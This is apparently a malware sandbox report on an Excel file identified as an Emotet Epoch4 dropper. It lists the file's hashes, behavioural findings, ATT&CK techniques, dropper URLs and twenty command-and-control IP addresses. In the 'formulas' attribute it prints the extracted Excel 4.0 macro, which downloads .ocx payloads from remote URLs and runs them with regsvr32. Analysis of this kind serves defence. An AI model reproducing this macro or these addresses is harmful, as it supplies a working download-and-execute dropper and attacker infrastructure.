Overview

overview

10

Static

static

10

ae72f6016f...ef.xls

windows7-x64

10

ae72f6016f...ef.xls

windows10-2004-x64

10

Sharing

Copy URL
Twitter E-mail

General

  • Target

    ae72f6016f8929c7780693cadfb855ef.xlsx

  • Size

    89KB

  • Sample

    230415-s65p6sef35

  • MD5

    ae72f6016f8929c7780693cadfb855ef

  • SHA1

    bda7fd78150a0103f3c2281d90074332ccfa8cde

  • SHA256

    9f8b5f5da718fafb98de9b2128cd81fd720a37de6c755b81965ead358aeb912a

  • SHA512

    5d0053bf1557fa4d236ddedf074562f7b86501b50c8595ecdcc44d99fe9201917e4c4649b9418cc952d4630db2bf036278e79013898e67fcd4ebe71bf6ea70e5

  • SSDEEP

    1536:n6k3hOdsylKlgxopeiBNhZFGzE+cL2kdAdHuS4lcTO9Tv7UYdEJi9a2:6k3hOdsylKlgxopeiBNhZFGzE+cL2kd7

Score
10/10
emotetepoch4bankermacrotrojanxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://bruidsfotografie-breda.nl/cache/QPk/

http://www.chawkyfrenn.com/icon/JtT/

https://chiptochip.es/alojamiento-web/dofwXVVQ3hvsp/

http://chillpassion.com/wp-content/nd4wjKgokzKbKH0DQDD/
Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bruidsfotografie-breda.nl/cache/QPk/","..\phdg1.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg1.ocx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.chawkyfrenn.com/icon/JtT/","..\phdg2.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg2.ocx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://chiptochip.es/alojamiento-web/dofwXVVQ3hvsp/","..\phdg3.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg3.ocx") =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://chillpassion.com/wp-content/nd4wjKgokzKbKH0DQDD/","..\phdg4.ocx",0,0) =EXEC("C:\Windows\System32\regsvr32.exe /S ..\phdg4.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://bruidsfotografie-breda.nl/cache/QPk/
xlm40.dropper

http://www.chawkyfrenn.com/icon/JtT/
xlm40.dropper

https://chiptochip.es/alojamiento-web/dofwXVVQ3hvsp/
xlm40.dropper

http://chillpassion.com/wp-content/nd4wjKgokzKbKH0DQDD/

Extracted

Family

emotet

Botnet

Epoch4

C2

172.104.251.154:8080

51.161.73.194:443

101.50.0.91:8080

91.207.28.33:8080

119.193.124.41:7080

150.95.66.124:8080

103.132.242.26:8080

37.187.115.122:8080

172.105.226.75:8080

131.100.24.231:80

196.218.30.83:443

79.137.35.198:8080

103.75.201.2:443

82.223.21.224:8080

153.126.146.25:7080

146.59.226.45:443

209.97.163.214:443

186.194.240.217:443

197.242.150.244:8080

45.118.115.99:8080
eck1.plain
ecs1.plain

Targets

    • Target

      ae72f6016f8929c7780693cadfb855ef.xlsx

    • Size

      89KB

    • MD5

      ae72f6016f8929c7780693cadfb855ef

    • SHA1

      bda7fd78150a0103f3c2281d90074332ccfa8cde

    • SHA256

      9f8b5f5da718fafb98de9b2128cd81fd720a37de6c755b81965ead358aeb912a

    • SHA512

      5d0053bf1557fa4d236ddedf074562f7b86501b50c8595ecdcc44d99fe9201917e4c4649b9418cc952d4630db2bf036278e79013898e67fcd4ebe71bf6ea70e5

    • SSDEEP

      1536:n6k3hOdsylKlgxopeiBNhZFGzE+cL2kdAdHuS4lcTO9Tv7UYdEJi9a2:6k3hOdsylKlgxopeiBNhZFGzE+cL2kd7

    Score
    10/10
    emotetepoch4bankertrojan

    • Emotet

      Emotet is a trojan that is primarily spread through spam emails.

      trojanbankeremotet

    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

    • Downloads MZ/PE file

    • Loads dropped DLL

    behavioral1behavioral2

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Tasks